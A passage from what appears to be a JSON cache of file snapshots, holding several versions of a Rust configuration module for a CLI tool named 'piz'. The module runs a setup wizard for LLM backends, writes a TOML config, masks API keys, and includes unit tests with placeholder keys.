{}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 168);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "73c4934d71b72f3e4942290b49c28d5235875253": {"t": 1785760763.805515, "n": 17965, "h": "bd43d7ce989d3783", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "03fb59271d50a888718bd02aab292d0f4589f734": {"t": 1785760765.3328063, "n": 17341, "h": "bd3b442eef13fbe5", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n 